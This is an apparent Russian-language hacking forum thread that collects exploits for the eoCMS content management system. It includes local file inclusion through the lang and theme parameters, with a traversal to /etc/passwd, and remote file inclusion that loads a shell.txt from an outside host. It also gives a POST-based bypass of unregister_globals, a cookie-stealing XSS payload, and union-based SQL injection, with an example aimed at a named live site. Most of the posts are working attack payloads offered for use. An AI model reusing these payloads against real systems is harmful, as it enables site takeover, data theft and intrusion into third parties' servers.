Офф сайт: _http://eocms.com/ LFI В файле Index.php PHP: if(defined('COOKIE_LANG')) $lang_path = COOKIE_LANG; if(isset($settings['site_lang'])) $lang_path = $settings['site_lang']; if(isset($user['lang'])) $lang_path = $user['lang']; if(isset($_GET['lang'])) $lang_path = $_GET['lang']; if(!isset($lang_path)) $lang_path = 'en'; # include actual language files include_once(IN_PATH.'language/' . $lang_path . '/' . $lang_file); include_once(IN_PATH.'language/' . $lang_path . '/functions.php'); include_once(IN_PATH.'language/' . $lang_path . '/panel.php'); _http://eocms.com/index.php?lang=' ЗЫ да со скулями поторопился
слушай, а ты пробовал использовать те дыры что нашел? и в какой версии eoCMS ты их нашел? так как сообщение было написано вчера, то я думаю, что это была версия v0.9.01. а если я прав то как бы вот кусок кода из framewok.php (он инклудится в самом начале index.php) PHP: /************************ ** Clean superglobals ** ************************/ function Sanitize($data_to_sanitize) { if (get_magic_quotes_gpc()) $data_to_sanitize = stripslashes($data_to_sanitize); $data_to_sanitize = htmlspecialchars($data_to_sanitize, ENT_QUOTES); $data_to_sanitize = addslashes($data_to_sanitize); return $data_to_sanitize; } function Sanitize_Array($value) { $value = is_array($value) ? array_map('Sanitize_Array', $value) : Sanitize($value); return $value; } $_POST = array_map('Sanitize_Array', $_POST); $_GET = array_map('Sanitize_Array', $_GET); $_COOKIE = array_map('Sanitize_Array', $_COOKIE); $_REQUEST = array_map('Sanitize_Array', $_REQUEST); $_SERVER = array_map('Sanitize_Array', $_SERVER); $_FILES = array_map('Sanitize_Array', $_FILES);
ну извени если там null- byte не канает и для тебя ошибка Warning: include_once() [function.include]: Failed opening '/home/garbages/public_html/eocms.com/language/jhgj\0//Pages.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/garbages/public_html/eocms.com/index.php on line 118 это тока раскрытие путей тогда я не знаю..... PS то что выкладывал скули , они есть но вот реализовать их либо тяжело .либо ни как, пока не пытался
Remote File Inclusion Требования: register_globals = on Файл: js/bbcodepress/bbcode-form.php PHP: include_once($BBCODE_path . 'bbcodepress/bbcodepress-lite.php'); www.example.com/js/bbcodepress/bbcode-form.php?BBCODE_path=http://www.site.com/shell.txt?
Вот ещё чуть: --------------------------------------- Бага: обход unregister_globals и раскрытие пути Условия: register_globals = ON >> framework.php PHP: function unregister_globals(){ #checks if register globals is on if (!ini_get('register_globals')){ return false; } foreach (func_get_args() as $name){ foreach ($GLOBALS[$name] as $key=>$value){ if (isset($GLOBALS[$key])) { unset($GLOBALS[$key]); } } } } unregister_globals('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', '_SESSION'); В результате все перменные посланные данными методами удаляются из GLOBALS; Но если сделать запрос: Code: POST /index.php?antichat=test HTTP/1.1 Host: eocms Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 31 _GET=this del&_REQUEST=this del Функция unregister_globals сначало удалит, масив _GET, потом _REQUEST, а переменная antichat будет жить) ------------------------------- Бага: LFI Условия: magic_quites = Off >> framework.php PHP: if(isset($_GET['theme']) && file_exists('themes/'.$_GET['theme'].'/theme-info.php')) $settings['site_theme'] = $_GET['theme']; ~~~~~~~~~~~~~~~~~~~~ function theme() { global $user, $settings; $arg = func_get_args(); $num = func_num_args(); if(file_exists('themes/' . $settings['site_theme'] . '/functions/'.$arg[0].'.php')) include_once IN_PATH.'themes/' . $settings['site_theme'] . '/functions/'.$arg[0].'.php'; Этот код выполняется до того как переменные обрабатываются через addslashes exploit: http://eocms/index.php?theme=../../../../../../../etc/passwd%00 ------------------------------ Бага: XSS Условия: register_globals = ON exploit: Code: POST /index.php?error_die[0]=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1 Host: eocms Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 31 _GET=this del&_REQUEST=this del
eoCMS http://eocms.com/ SQL Injection: /VewBoard.php PHP: ... $bcrumb = call('sql_query', "SELECT id, board_name, post_group, visible FROM forum_boards WHERE id='" . $_GET['id'] . "'"); ... Пример одного сайта: Code: http://garbagespot.com/index.php?act=viewboard&id=1+union+select+1--+ Путь: Code: http://localhost/index.php?act[]= http://localhost/index.php?act=viewboard&id=' Многие места так же уязвимы к SQL inj.